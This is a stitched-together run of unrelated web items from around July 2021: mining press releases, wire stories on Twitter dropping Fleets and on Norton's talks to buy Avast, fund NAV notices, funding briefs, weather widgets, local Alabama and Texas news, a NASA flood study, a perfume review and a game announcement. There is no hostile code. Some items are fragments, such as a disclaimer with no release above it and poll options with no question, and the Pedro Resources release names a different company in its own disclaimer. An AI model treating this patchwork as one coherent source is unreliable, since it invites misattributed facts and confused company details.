This press release contains statements that constitute "forward-looking information" (collectively, "forward-looking statements") within the meaning of the applicable Canadian securities legislation, All statements, other than statements of historical fact, are forward-looking statements and are based on expectations, estimates and projections as at the date of this news release. Any statement that discusses predictions, expectations, beliefs, plans, projections, objectives, assumptions, future events or performance (often but not always using phrases such as "expects", or "does not expect", "is expected", "anticipates" or "does not anticipate", "plans", "budget", "scheduled", "forecasts", "estimates", "believes" or "intends" or variations of such words and phrases or stating that certain actions, events or results "may" or "could", "would", "might" or "will" be taken to occur or be achieved) are not statements of historical fact and may be forward-looking statements.

Forward-looking statements contained in this press release include, without limitation, statements regarding the business and operations of Cerrado Gold. In making the forward- looking statements contained in this press release, Cerrado Gold has made certain assumptions, including, but not limited to ability of Cerrado to expand its drilling program at its Minera Don Nicolas Project and increase its resources. Although Cerrado Gold believes that the expectations reflected in forward-looking statements are reasonable, it can give no assurance that the expectations of any forward-looking statements will prove to be correct. Known and unknown risks, uncertainties, and other factors which may cause the actual results and future events to differ materially from those expressed or implied by such forward-looking statements. Such factors include, but are not limited to general business, economic, competitive, political and social uncertainties. Accordingly, readers should not place undue reliance on the forward-looking statements and information contained in this press release. Except as required by law, Cerrado Gold disclaims any intention and assumes no obligation to update or revise any forward-looking statements to reflect actual results, whether as a result of new information, future events, changes in assumptions, changes in factors affecting such forward-looking statements or otherwise.

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/90290


WASHINGTON (dpa-AFX) - Wednesday, Twitter announced that it will not continue with 'Fleets', the Twitter version of Facebook and Instagram 'stories'. In June, the company had attempted to monetize the Fleets by adding advertisement options to them. But, the failure of the feature to generate engagement has made the company roll it back from August 3.



Kayvon Beykpour, the head of consumer product, tweeted, '(Big) bets are risky and speculative, so by definition, a number of them won't work. If we're not having to wind down features every once in a while, then it would be a sign that we're not taking big enough swings.'



Old tweets have caused problems for a lot of people and to get rid of this, Twitter had introduced Fleets, which are basically tweets that will expire and disappear after a span of 24 hours. The feature was first launched in November 2020. The company hoped to grab a bite of the success of Snapchat and Facebook stories and increase engagement on the platform.



In a blog post to announce the news, Twitter said, 'We hoped Fleets would help more people feel comfortable joining the conversation on Twitter. But, in the time since we introduced Fleets to everyone, we haven't seen an increase in the number of new people joining the conversation with Fleets like we hoped.'



However, the company is ready to learn from its mistakes and shortcomings. 'we'll explore more ways to address what holds people back from participating on Twitter', said the blog. The platform will also look to incorporate the technology used in Fleet to Tweet composer and camera to enrich the experience of the existing users. The post added, 'We'll explore more ways to address what holds people back from participating on Twitter. And for the people who already are Tweeting, we're focused on making this better for you.'



The failure is understood to be a big blow to the company's plans to have 315 million mDAUs or monetizable daily active users by the end of 2023.



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Toronto, Ontario--(Newsfile Corp. - July 14, 2021) - Pedro Resources Ltd. ("Pedro" or the "Company") is pleased to announce that, further to its press release of November 27, 2020, it has acquired (the "Transaction") all of the issued and outstanding common shares in the capital of Voisey's Bay West Nickel & Cobalt Corp. ("Voisey's Bay"). The Transaction was carried out by way of a share purchase agreement dated November 27, 2020 between the Company, Voisey's Bay and the shareholders of Voisey's Bay (collectively, the "Vendors"). Voisey's Bay is a private company formed under the laws of Ontario, whose sole asset is a 100% interest in 13 prospective mineral licenses, comprising 721 claims (18,025 hectares) (the "Property"), 4.5 km south of Vale's Voisey's Bay Mine in the province of Newfoundland and Labrador, Canada (the "Vale's Property").

As consideration for the Transaction, the Company issued an aggregate of 8,000,000 common shares in the capital of the Company (the "Consideration Shares") at a deemed price of $0.08 per Consideration Share to the Vendors issued in six (6) equal allotments over a period of three (3) years, and cash payments of $165,000 payable on each of the first three anniversaries of the closing of the Transaction. All securities issued pursuant to the Acquisition are subject to a statutory hold period of four months and one day from the issuance thereof, as applicable, in accordance with applicable securities laws.

In connection with the Transaction, the Company has granted a 2.5% net smelter returns royalty ("NSR") in favour of a syndicate, subject to the ability of the Company to purchase 1% of the NSR (resulting in the remaining NSR being 1%) for a purchase price of $1,500,000 at any time before fifth anniversary of the date hereof.

About Pedro Resources Ltd.

Pedro Resources Ltd. is a Canadian exploration company focused on mineral exploration and development.

For further information, contact:

On behalf of the Board,

Brian Stecyk

Chief Executive Officer and Director

Tel: 780-953-0111

Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

Forward-Looking Statements

Certain information set forth in this news release may contain forward-looking statements that involve substantial known and unknown risks and uncertainties, including, but not limited to, the timing of future exploration work or drilling, and the expansion of the mineralization. These forward-looking statements are subject to numerous risks and uncertainties, certain of which are beyond the control of Gold Rush Cariboo Inc.., including, but not limited to, the impact of general economic conditions, industry conditions, volatility of commodity prices, risks associated with the uncertainty of exploration results and estimates, currency fluctuations, dependency upon regulatory approvals, the uncertainty of obtaining additional financing and exploration risk. Readers are cautioned that the assumptions used in the preparation of such information, although considered reasonable at the time of preparation, may prove to be imprecise and, as such, undue reliance should not be placed on forward-looking statements. This press release is not, and is not to be construed in any way as, an offer to buy or sell securities in the United States.

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/90260
Regulatory News:

Pershing Square Holdings, Ltd. (LN:PSH) (LN:PSHD) (NA:PSH) today released its regular weekly Net Asset Value ("NAV") and performance returns on its website, https://www.pershingsquareholdings.com/company-reports/weekly-navs/. The NAV and returns were computed as of the close of business on Tuesday, 13 July 2021.

PSH NAV per share as of close of business on 13 July 2021 was 48.23 USD 34.92 GBP and year-to-date performance was 6.5%.

Weekly net asset value ("NAV") is calculated as of the close of business on each Tuesday and posted on the following business day. In the event that Tuesday is not a business day, the Company will calculate the close-of-business NAV as of the business day immediately preceding that Tuesday. The end-of-month NAV is calculated as of the close of business on the last day of the month and posted on the following business day. For weeks that include a month-end NAV report, PSH will provide only the month-end NAV and not report the Tuesday NAV. Monthly NAVs are published in accordance with the Decree on Conduct of Business Supervision of Financial Undertakings under the Wft (Besluit Gedragstoezicht financiele ondernemingen Wft).

Performance is presented on a net-of-fees basis and reflects the deduction of, among other expenses: management fees, brokerage commissions, administrative fees and accrued performance fees, if any. The performance figure includes the reinvestment of all dividends, interest and capital gains. Depending on the timing of a specific investment, net performance for an individual investor may vary from the net performance as stated herein. Net performance is a geometrically linked time weighted calculation.

Past performance is not necessarily indicative of future results. All investments involve risk including the loss of principal.

About Pershing Square Holdings, Ltd.

Pershing Square Holdings, Ltd. (LN:PSH) (LN:PSHD) (NA:PSH) is an investment holding company structured as a closed-ended fund that makes concentrated investments principally in North American domiciled companies.

Category: (PSH:WeeklyNAV)

View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005914/en/

Contacts:

Media

Camarco

Ed Gascoigne-Pees Hazel Stevenson +44 020 3757 4989, media-pershingsquareholdings@camarco.co.uk


WASHINGTON (dpa-AFX) - Computer security giant NortonLifeLock Inc. (NLOK) is in advanced talks to acquire rival Avast.



The Board of Avast confirms that it is in advanced discussions regarding a possible merger of Avast with Norton. The company is worth $7.2 billion in the present market but the deal might set Norton back more than $8 billion. However, the company has not specified any terms of the discussion.



According to Avast, it has more than 435 million users currently. The company was founded by Pavel Baudis and Eduard Kucera in 1988 as Alwil and the duo holds 35% of the company's stake. The company went public in 2018 on the London stock exchange after changing its name to Avast in 2010. CVC Capital Partners held 23% of the company shares when it went public. Avast reported an $893 million revenue in 2020.



Norton on the other hand is a $16 billion company that has recently sold its enterprise-security business to Broadcom Inc. in 2019 for $10.7 billion.



After the massive malware infestations around the world, data security has come up at the forefront of business negotiations. Computer giants, Microsoft (MSFT) have planned to acquire RiskIQ to help the users assess the vulnerability of their websites.



However, while confirming the speculations, Avast did not shed any light on the standing of the deal. There can be no certainty as to whether any transaction will take place or the terms on which any possible merger may be agreed.



Avast also added that Norton will have to make their intentions clear by the end of August 11. Norton was also reportedly approached by McAfee in 1997.



Copyright RTT News/dpa-AFX

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Atlas Venture, a Cambridge, MA-based early stage venture capital firm, hired Jodie Morrison as a venture partner.

Morrison will work with the Atlas team to build transformative new biotech companies.

Morrison is an executive and board member who most recently served as CEO of Cadent Therapeutics, which Atlas Venture formed and which was acquired by Novartis in 2021. Prior to Cadent, Morrison served as interim chief executive officer at Keryx Biopharmaceuticals, Inc. where she led the the merger with Akebia Therapeutics, and as acting chief operating officer at Syntimmune which was acquired by Alexion. Before that, Morrison served as president and chief executive officer of Tokai Pharmaceuticals, Inc. where she led the 2014 IPO and 2016 merger, and held other senior positions including chief operating officer and VP/head of clinical and program operations. Earlier in her career, Morrison held roles in clinical operations and medical affairs at Dyax Corporation, Curis, Inc., and Diacrin, Inc.

She serves on the boards of several biotech companies.

Atlas Venture is a biotech venture capital firm that works side by side with scientists and entrepreneurs to translate high impact science into medicines for patients. Its seed-led venture creation strategy selects and focuses investment on the most compelling opportunities to build scalable businesses and realize value.

FinSMEs

14/07/2021

Contacts

Kristen Margeson

Senior Director of Investor Relations and Marketing

Atlas Venture

[email protected]
Railsbank, a London, UK-based embedded finance platform provider, raised USD$70m in its latest funding round.

The round was led by Anthos Capital with participation from Central Capital (VC arm of Indonesias largest privately held bank), Cohen and Company (the founder of Bancorp), and Chris Adelsbachs new fund Outrun Ventures and existing investors.

The company will use the funds to further expand its various Embedded Finance products (Banking as a Service, Cards as a Service, and Credit as a Service) across Europe, Asia Pacific and North America.

Founded in 2016 by fintech veterans Nigel Verdon (CEO) and Clive Mitchell (Chief Information Officer), Railsbank provides a SaaS Embedded Finance platform used by customers such as fintechs, telcos, supermarkets and consumer brands to prototype, build and scale financial products for their own end users, including apps that help manage and distribute money in real-time.

FinSMEs

14/07/2021
Tampa, FL (33646)

Today

Mixed clouds and sun with scattered thunderstorms. High around 90F. Winds SW at 5 to 10 mph. Chance of rain 60%..

Tonight

Cloudy early with partial clearing expected late. A stray shower or thunderstorm is possible. Low 74F. Winds light and variable.
Yes, he deserved it

No, that was way too much money

The city needs to provide more details about this situation

Vote

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BAY MINETTE. Ala. --The Growing Alabama Commission recently approved the South Alabama Mega Site for an investment of $5.5 million for additional site improvements, which include the construction of an on-site rail spur on the existing rail bed and construction of the wye, connecting the on-site rail spur to the CSX mainline.

This funding brings the total investment to $12.5 million from the Growing Alabama Tax Credit program, which uses private dollars to improve publicly owned sites for economic development purposes.

According to the organization, the Growing Alabama Tax Credit program allows for taxpayers who make contributions to economic development organizations for approved qualifying projects to receive a tax credit. The program is managed by the Alabama Department of Commerce and allows private companies and individuals to get a dollar-for-dollar tax credit for investing in preparation and infrastructure improvements to industrial sites. Along with support by the Growing Alabama Commission and the Alabama Department of Commerce, the investment in this phase of the sites infrastructure improvements are made possible by donations from Regions Bank and CSX Transportation.

Baldwin County Economic Development Alliance (BCEDA) will retain ownership of the site until the project is complete, as required by law to participate in the Growing Alabama Tax Credit program. Once finalized, BCEDA will return ownership to the Baldwin County Commission.
MOBILE, ALA. (WALA)- As widespread and rare protests continue in Cuba against the communist government, some peaceful protests happened in Mobile Monday, to show support for the people of Cuba.

"I think for the first time in history, we are together because we need to stop this. We need to stop it right now," said Zahily Dones.

For days massive anti-government demonstrations erupted across Cuba at levels never seen before in the country's 62-year-long communist regime. The Cuban economy is ailing, food and medicine are scarce and the number of Covid-19 cases are skyrocketing.

FOX10 News spoke with one Cuban-American family who took part in this demonstration of about 80 people just off of Airport Boulevard in Mobile. The Dones family left Cuba in 2011 and have been in the Port City the past eight years.

They held back tears talking about the crisis in their homeland and said their entire family is still there, fighting for their basic rights.

Roberto Dones said, "I have my entire family there, father, mom..."

Zahily Dones added, "They're on the street and we can't say stop because they can't stop. This is the moment. This is the moment to make the change."

The Dones said it's gotten so bad on the island, they can't even speak with their family anymore because the government has shut down Cuba's internet and phone lines.

"Because everyone was on the street faithfully, filming and taking pictures, they're locking down the internet and you can't even call to Cuba right now because they don't want no one to know what's happening," said Roberto Dones.

According to anti-government activists, more than 100 protesters in Cuba have been arrested or are missing.

Roberto Dones said, "This is a beautiful country with really beautiful people who like to help. We're asking for help."

President Biden has called on the Cuban government to refrain from violence or attempts to silence the people of Cuba.
The Alabama State Board of Education on Tuesday took up the controversy over critical race theory but found consensus hard to come up.

Critical race theory emerged in the 1970s as a view of the U.S. legal system and its relationship to race and power. It holds that racism is imbedded in the legal system. The issue recently has become a target of conservative activists in multiple states who fear a divisive ideology creeping into kindergarten-through-12th-grade curriculum.

Gov. Kay Ivey chaired Tuesdays work session, highlighting the issues symbolic importance.

I firmly believe that our No. 1 priority of the state board is to provide a quality education for every student in public schools that leads them to a path of self-sufficiency and prosperity regardless of race or gender, she said. And I think no student in our public schools should expect anything less.

But before the day was even over, state Superintendent of Education Eric Mackey already was promising changes to the proposed based on input from school board members. He asked school board members to continue providing feedback through the end of the month. He said the board may vote on a revised resolution Aug. 12 but noted that some board members want to move slower.

Clearly the board wants to deal with this issue head on, but at the same time, we want to be cautious that we dont stamp on anybodys First Amendment rights and that we make parents all comfortable, he told reporters. So thats sometimes the most difficult thing to do.

The original draft of the resolution discussed in Montgomery does not even mention critical race theory by name. Instead, it states that the board will not support public education resources or standards that indoctrinate students in social or political ideologies or theories that promote one race or sex above another.

Board members were divided. District 5 member Tonya Chestnut, whose territory includes parts of Mobile County, objected to a passage declaring that the country and state are not inherently racist.

I cant with a clear conscience say that thats actually true, she said. I want it to be true. And I believe that everybody in here desires for that to be a true statement. But we have not gotten there.

Mackey discussed replacing that paragraph with statement that slavery and racism are betrayals of the founding principles of the United States and that no one should be discriminated against because of past actions by members of their racial group. In addition, he said he had been asked about inserting language about protecting teachers First Amendment rights.

But District 3 school board member Stephanie Bell, who represents the middle part of the state, argued that the resolution did not go far enough. She noted that it contains no consequences for violating the resolution.

The wording needs to be changed dramatically in order to have any kind of impact statewide and at the local level, she said.

District 1 school board member Jackie Zeigler, who represents most of southwest Alabama, agreed that the resolution should be strengthened. She acknowledged that critical race theory is not officially sanctioned but argued it could still find its way into the classroom.

You know, once something has sort of gotten started, its hard to stop it, she told FOX10 News. Its better to be on the proactive side than, you know, on the back end of something.

Robert Battles, a former Mobile County school board member, told FOX10 News that he worries the resolution will serve as an excuse to ignore uncomfortable parts of American history.

They talk about the teachers not indoctrinating the students in one ideology, he said. What the hell did they think we, as black people did in this whole school system?
ATHENS, Ala. (AP)  Barred from witnessing jury selection in the corruption trial of a longtime north Alabama sheriff, media organizations asked a judge Tuesday to allow the public and news reporters into court.

The Alabama Press Association and the Alabama Broadcasters Association joined with newspapers and television stations in making the request to retired Criminal Appeals Judge Pamela Baschab, who is presiding in the case against Limestone County Sheriff Mike Blakely.

Members of the public have a constitutional right to attend criminal court proceedings, the media groups said, and Baschab's decision to hold jury selection in secret is unconstitutionally overbroad."

Referring to reports that the judge closed the selection process for the comfort of potential jurors, media members argued that the judge failed to take less restrictive steps that could include asking potential jurors sensitive questions in her office.

Baschab, who has not issued a written order explaining the ban, did not take any immediate action on the request.

In office since 1983 and indicted in 2019, the 70-year-old Blakely has pleaded not guilty to a dozen felony counts alleging he stole campaign donations, got interest-free loans and solicited money from employees.

Deputies who work for Blakely were used to guard doors and keep the public and media members out of his trial, news outlets reported. The public presumably will be allowed once testimony begins.

Blakely has continued to work since Alabama law doesn't require that an indicted sheriff be suspended or removed. A felony conviction would result in his automatic removal from office.
MOBILE, Ala (WALA) -- Anti-gun-violence organizations and police share a common goal of saving lives and stopping shootings, but they have different ideas on how to meet that goal.

Shootings and gun violence are a constant challenge in the Port City and throughout Southern Alabama.

Were very concerned about the shootings that go on in our city, said Frederick Thompson with Faith in Action Alabama.

Thompson and Champ Napier are from the Mobile hub of Faith in Action Alabama.

Just like law enforcement, they would love to see no shootings, but in their view, it needs to be a community effort, not just a police one.

What were advocating for is a more effective street outreach program that we can take victims of gun violence and educate them and have them to advocate to reduce the gun violence in their own community, Napier said.

Faith in Action says that method is known to reduce shootings in other cities by about 70%.

Mobile leaders are looking at going the way of technology to help stop shootings.

We do know that it is increasing and so we got to do something, use technology to combat that as well as change the environment that breeds this type of conduct, said James Barber, Mayor Sandy Stimpsons Chief of Staff.

The City wants to add a gunshot detection system and cameras that work using sensitive microphones.

Last week, Mobile leaders met with Alabama Power, a partner on this project. Next, they will be meeting with several companies like Shotspotter to figure out which technology is best. Then they need to decide where to put it.

What were looking for are hotspots, areas geographically that just have a disproportionate number of shots being fired or complaints of shots fired, Barber said. Overlay that on top of violent crime maps.

Thompson is happy the city is working to come up with solutions to end the violence, but he believes it will take more than just some new tech.

Its going to take more than a system that its going to have to have support of the community and the people to stress how important it is for us to stop the gun violence, Thompson said.

We checked with a city in California that has an outreach program. The police department there says it cannot give numbers on how it has helped, but did say the program and some other changes have reduced murders over the years.
(CNN) -- Coastal communities in the United States, be forewarned. A "dramatic" surge in high-tide floods is just over a decade away in the US, according to NASA.

The rapid increase will start in the mid-2030s, when a lunar cycle will amplify rising sea levels caused by the climate crisis, found a new study led by the members of the NASA Sea Level Change Science Team from the University of Hawaii. Only far northern coastlines, such as Alaska's, will get at least another decade's respite because long-term geological processes are leading to these land areas rising.

The study, published in the journal Nature Climate Change, is the first to take into account all known oceanic and astronomical causes for floods, the agency said in a news release.

High-tide floods involve less water than storm surges from a hurricane, but the study's lead author warns that doesn't mean they are a less significant problem overall. "It's the accumulated effect over time that will have an impact," said Phil Thompson, an assistant professor at the University of Hawaii's department of oceanography, in a news statement.

"If it floods 10 or 15 times a month, a business can't keep operating with its parking lot under water. People lose their jobs because they can't get to work. Seeping cesspools become a public health issue."

The National Oceanic and Atmospheric Administration reported over 600 high-tide floods in 2019. This new study projects these floods will sometimes occur in clusters lasting a month or longer in the 2030s, depending on the positions of the moon, Earth, and sun. Some cities may see floods every day or two.

Lunar cycle

The reason for this expected surge is tied to the moon's 18.6-year cycle.

Right now, it's in the half that amplifies tides -- meaning high tides get higher and low tides get lower. Along most US coastlines, current sea levels have not risen so much that high tides regularly top flooding thresholds.

But that won't be the case next time around, which is in the mid-2030s.

That's because of how a wobble in the moon's orbit combines with rising sea levels. The wobble isn't new -- it was first reported in 1728. But how this movement affects the moon's gravitational pull, the main cause of the Earth's tides, will spark these new flooding concerns when it combines with rising sea levels.

"Global sea level rise will have been at work for another decade. The higher seas, amplified by the lunar cycle, will cause a leap in flood numbers on almost all U.S. mainland coastlines, Hawaii, and Guam," a NASA news release stated.

The-CNN-Wire &  2021 Cable News Network, Inc., a WarnerMedia Company. All rights reserved.
GREENVILLE, SC (FOX CAROLINA) - Two Upstate cities--Greenville and Spartanburg-- have been named to the "Best Places to Live in the U.S." list by U.S. News & World Report.
Review: Paprika Brasil Hermessence by Hermes

Fragrance Reviews

Paprika Brasil is rarely the hero of perfume reviews and probably the least lauded of all in the Hermessence collection. It was met with a 'boo' from perfume bloggers, and the admiration of perfume lovers is lavished on other fragrances of Jean-Claude Ellena - like Ambre Narguile, Vetiver Tonka, Vanille Galante, Osmanthe Yunnan, Rose Ikebana... What's so special about this scent of Brazilian pepper? To begin with, it's Brasil, not Brazil.

"A local tinctorial wood once widely used in Europe to colour fabrics red, brazil wood gave its name to the country. With its power of suggestion, bois de braise sparked my imagination and I chose paprika, a Brazilian pepper, to illustrate it. By mixing and matching, and using an iris-reseda-pepper association, I recreated its scent, which is more secretive and discreet than its taste." - Jean-Claude Ellena.



Indeed, the new South American country, Terra de Vera Cruz, was soon renamed Terra do Brasil after the redwood tree that the Portuguese called Pau-Brasil, a tree with fiery redwood. Brasil in Portuguese is red as the embers.

Brasil was also the name of the natural dye from the sappan tree, which Arab traders brought to Europe from India and Sri Lanka; the Portuguese thought they had found a new source for this red paint in Brazil. These woods have a common coloring agent - brazilin, but the Brazilian tree was a separate species, later called pernambuca (now it is called Caesalpinia Echinata and it's the national symbol of Brazil. This is an endangered species - for the sake of the purple dye, it was cut down whenever encountered until the appearance of a synthetic substitute). This natural red color, reminiscent of mahogany and dried red pepper, can be seen on the stopper and bottle, clad in red leather, and the gradient of red in the tinted glass of the bottle.

It is all the more surprising after this red feast to find out that inside the bottle of Paprika Brasil there is a scent that isn't red at all (at least, in my own opinion). On the contrary, for me, it is white powdery, with an evident green tint. It's similar in mood to Dzongkha by L'Artisan Parfumeur, also launched in 2006 and orange-red in design. Perhaps this is just my own smell-color synesthesia fail, which does not coincide with Jean-Claude Ellena, Bertrand Duchaufour, and the brands' creative teams - it may be very different for you.

Paprika Brasil's start is fresh, transparent, yet spicy and dry, and even soothing. It resembles the smell of dried potpourri made of citrus, lavender, rose, cinnamon, and cloves, immediately powdered with dry orris powder (by the way, there are reasons for this - the red-orange sappan wood has a distinct violet smell, the smell of powder).

From under this dry and spicy, but not sharp white cloud, a strange green accord peeps out indecisively, which seems to me to be something like green bell pepper - beautiful, but deliberately hidden deeper in the powdery accord. Later, a wonderful suede shade is found in the dry, spicy powder, and, as in many fragrances of the Hermessence collection, Iso E Super is the base of the composition. So Paprika Brasil could be considered the forerunner of the M + Eccentric Molecules collection, sort of M01 + Orris + Capsicum.

Luca Turin calls Paprika Brasil "evanescent peppers," "another of Ellena's refined compositions, this one is overly so," "a translucent and wan scent, you search for it on a blotter." Fans of Molecule 01 and Jean-Claude Ellena, of course, think differently - Iso E Super lasts for weeks on a blotter.

For me, this is a very persistent and light aroma of the cold morning fogs of August-September, when the forest is already beginning to wither and smells not only of greens but also of bitterness. At this time, the scent is simply beautiful.

Hermessence Paprika Brasil Hermes

Top notes: Red Pepper, Paprika, and Clove;

Middle notes: Orris and Green leaves;

Base notes: Woody notes, Mahogany, and Reseda.

Photo: (C) Fragram Frangipani.cz, Wesley Vieira Fonseca by Creative Commons CC BY-ND 2.0, thank you, guys!
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News

Friendswood officer suspended, dozens of cases dismissed as DA probes complaint

jenniferreynolds / JENNIFER REYNOLDS/The Daily News A Friendswood Police vehicle is parked in front of the police department in the Arden C. Hill, Jr. Public Safety Building, 1600 Harold Whitaker Drive in Friendswood, on Tuesday, July 13, 2021.

FRIENDSWOOD

A Friendswood Police Department officer in 2017 told two police sergeants she had pulled over as many as 20 drivers without having probable cause to do so.

Despite her statement, which was submitted to the departments internal affairs division, the officer was exonerated and continued working for the department.

The complaint about Officer Sara Carter stayed quiet until last week, when a defense attorney representing a man Carter arrested uncovered the document and presented it to prosecutors, who were taken aback by what it related.

We rely on the police and we give them a huge responsibility, said defense attorney Dan Krieger, who brought the complaint against Carter to prosecutors attention.

Among those things is to adequately conduct their internal affairs investigations and adequately give notice to other interested parties in the justice system, he said. In this case, it didnt happen. It failed to happen.

In reaction to the complaint, the Galveston County District Attorneys Office has dismissed dozens of driving-under-the-influence charges against other people Carter arrested, a top prosecutor said.

We were very concerned about the information brought to us by defense counsel, First Assistant District Attorney Kevin Petroff said. That led us to making the decision for cases to be dismissed.

Carter is on administrative leave, and the city of Friendswood has hired an attorney to represent it amid fallout that could result in more dismissals and reviews of cases that already had been closed, officials said.

THE INITIAL COMPLAINT

In a 2017 complaint filed with the Friendswood Police Department, Carter was accused of making traffic stops without cause. The complaint was made by other police officers who worked with Carter.

The complaint was written by a police department sergeant, who stated he had reviewed traffic stops other officers considered questionable.

In one case, Carter said she pulled over a car because its license plate didnt match the make and model to which the plate was registered. In fact, the plates and the car did match, the sergeant wrote. When confronted with that fact, Carter said the car had been speeding, according to the complaint.

Other officers had complained Carter pulled people over without probable cause, according to the complaint. Those officers said they were reluctant to assist Carter at times because they didnt want to be involved in questionable traffic stops, according to the complaint.

On July 13, 2017, the investigating sergeant interviewed Carter and she admitted to conducting traffic stops on vehicles without probable cause around 20 times, according to the complaint. Carter said she would specifically look for cars from Pasadena, according to the complaint.

She stated, she wants to stop them so bad because she knows what they are here for, the report said.

On July 26, a different police department sergeant ruled Carter should be exonerated, according to documents obtained by The Daily News.

Information about the complaints against Carter were never sent to prosecutors.

Generally, in cases in which a police department finds an officer had committed misconduct, the department is required to report that finding to prosecutors. When that officer is a witness in a criminal trial, those misconduct findings are passed on to defense attorneys.

Because Carter was exonerated, prosecutors didnt receive a report about allegations of misconduct against her, Petroff said.

The unusual thing in this case is that prosecutors disagreed with the findings by the police department, Petroff said.

Once the disclosure was made to us from defense, we evaluated each of her cases on a case-by-case basis, Petroff said.

As part of that review, prosecutors dismissed more than 30 pending cases, Petroff said.

DUELING DEFINITIONS?

Its unclear why Carter was exonerated. Friendswood Police Department Chief Robert Weiners declined comment and referred questions to Brian Begle, an attorney retained by the city.

Begle confirmed Tuesday Carter had been placed on administrative leave and the police department had provided information about the 2017 complaint to district attorneys in Galveston and Harris counties.

Begle in a statement said the 2017 complaint failed to sustain any policy violations or violations of state disclosure laws. Friendswood trains its officers and holds them accountable to reasonable suspicion standards, Begle said.

But a difference of opinion about those standards is at the center of the complaint against Carter, Begle said.

The investigation revealed that while the higher standard of probable cause may not have been present in all cases at the time of the stop, the proper standard of reasonable suspicion for Officer Carters investigative stops was met in all instances reviewed in the investigation, Begle said. As such, the complaint was not sustained.

In Texas, police are allowed to conduct traffic stops if they have a reasonable suspicion that a crime is being committed. The standard is lower than the legal definition of probable cause, which means that police have concrete evidence of a crime.

But even with that reasoning, after being notified about the details of the 2017 complaint in March, prosecutors dismissed charges against dozens of other people.

A SURPRISE TO PROSECUTORS

Krieger is representing Tracy Marshall, a League City resident arrested in Friendswood in September 2019 and charged with DUI after being stopped by Carter.

Krieger is a former League City Police Department officer. Krieger on Tuesday said he received a copy of the internal investigation into Carter from a third party and then sent that information to prosecutors.

Although the district attorneys office dismissed dozens of cases, prosecutors didnt drop their case against Marshall. Still, Krieger used the report to cross examine Carter during a trial. After her testimony ended, Krieger moved for Carter to be declared a non-credible witness.

There was some confusion Tuesday about whether that had happened. Krieger said County Court-At-Law Judge Jack Ewing had deemed Carter to be unreliable and essentially ordered the case dismissed.

Petroff, however, said he was still waiting to see Ewings ruling.

No motions had been filed in the countys court system by Tuesday afternoon, although some officials speculated filings had been delayed because of a fire at the county justice center that resulted in the building being closed on Monday and Tuesday.

AWAITING MORE

More fallout is possible for Carter and the police department.

Both Krieger and Petroff said they were awaiting a transcript of Carters testimony on the stand, which might have indicated more problems with arrests at the police department.

Its possible more cases could be dismissed because of the testimony, Petroff said.

We are awaiting the transcript to better review everything that was said by that officer, during the testimony, Petroff said.

Krieger said it was possible people had been wrongly jailed because of Carters actions.

She was a very active officer in the county and this information would have been critical in the defense of those cases, Krieger said. Its information that they should have had. It boggles my mind how not only the officers, but the agencies, buried that information.
Medical Discovery News is hosted by professors Norbert Herzog at Quinnipiac University, and David Niesel of the University of Texas Medical Branch. Learn more at www.medicaldiscoverynews.com.
Stephen Griffith, director of catering and special events at the University of Texas Medical Branch at Galveston, hands an employee a mask Tuesday, May 12, 2020. Medical branch students, employees and patients, regardless of vaccination status, will be required to once again wear masks in clinical areas because of the recent rise in COVID-19 cases, officials said.
Galveston, TX (77553)

Today

Sun and clouds mixed with a slight chance of thunderstorms during the afternoon. High around 90F. Winds SW at 10 to 15 mph. Chance of rain 40%..

Tonight

Scattered thunderstorms during the evening becoming more widespread overnight. Low 78F. Winds SW at 10 to 15 mph. Chance of rain 70%.




[This unedited press release is made available courtesy of Gamasutra and its partnership with notable game PR-related resource Games Press.]

TOKYO  July 20, 2021  ENDER LILIES: Quietus of the Knights, the dark fantasy metroidvania fairy tale from publisher Binary Haze Interactive, conjures a release on PlayStation 5 via backwards compatibility with the PlayStation 4 version on Tuesday, July 20, 2021. The PlayStation debut features all of the content included in ENDER LILIES recent 1.0 launches on Nintendo Switch, Steam, Xbox Series X|S, and Xbox One.



A cursed rain scourges the once-hallowed kingdom of Lands End. As the perpetual downpour plagues the population, turning the peaceful people into twisted undead creatures, the priestess Lily awakens from her slumber in Lands Ends great Cathedral. Steeled by the tragedy befalling her hometown, Lily begins a dangerous journey to seek out and stop the source of the mysterious rain.



Guide Lily on a quest as she fights those she once held dear, as former friends stalk Lands End as wicked shells of themselves. But no soul is too far gone for saving. Face Lilys reincarnated friends, defeat them in combat, and perform an exorcism to reawaken their souls and bring them into the fold as equippable companion spirits to aid in future trials.



Experiment with different souls to create a variety of reliable allies and valuable abilities. Call upon a stalwart bodyguard to tank hits and keep the priestess safe, summon ethereal volleys of damaging attacks, or create myriad skills that make traversing Lands End more manageable.



Advance through the dark kingdom, traversing mysterious ruins housing forgotten relics, weaving through oppressive forests holding untold secrets, ascending the kingdoms grand castle on a search for the source of the endless rain. ENDER LILIES haunting world comes to life through breathtaking hand-drawn 2D art evoking a Japanese dark-fantasy aesthetic.



ENDER LILIES: Quietus of the Knights carries on the rich legacy of dark fantasy, said Hiroyuki Kobayashi, CEO, Binary Haze Interactive. Lilys journey through the fallen kingdom of Lands End captures the essence of the genre while expanding on it with a detailed world full of memorable characters, stories, and surprises.

ENDER LILIES: Quietus of the Knights arrives on PlayStation 5 via backwards compatibility with the PlayStation 4 version on Tuesday, July 20 in English, Japanese, French, German, Spanish (Spain), Korean, Chinese (Simplified and Traditional), Italian, Portuguese (Brazil), and Russian-language support. ENDER LILIES is also available on Nintendo Switch, Steam, Xbox Series X|S, and Xbox One.

For more information, please visit the ENDER LILIES: Quietus of the Knights website, follow @EnderLilies on Facebook, @EnderLiliesGame on Instagram, or @EnderLiliesGame on Twitter, and search for #EnderLilies on social media.



Assets



Trailer Stream



Screenshot, Logo, GIF Downloads



About Binary Haze Interactive



Binary Haze Interactive, founded in 2020 by Hiroyuki Kobayashi, is a production and publishing company located in Tokyo, Japan, and a sister company of Adglobe, a Japanese information technology, video game, and 3D production house with global reach and an office in Montreal. Starting with ENDER LILIES: Quietus of the Knights, Binary Haze will publish games from its sister companies with a focus on atmospheric settings for major consoles and PC.



Media Contact - Europe (Except Germany and Austria), Middle East



Player Two PR for Binary Haze Interactive

[email protected]



Media Contact - China Mainland, Hong Kong, Taiwan



Netease for Binary Haze Interactive

[email protected]



Media Contact - Germany, Austria, Worldwide



Lena LeRay

Stride PR for Binary Haze Interactive

[email protected]






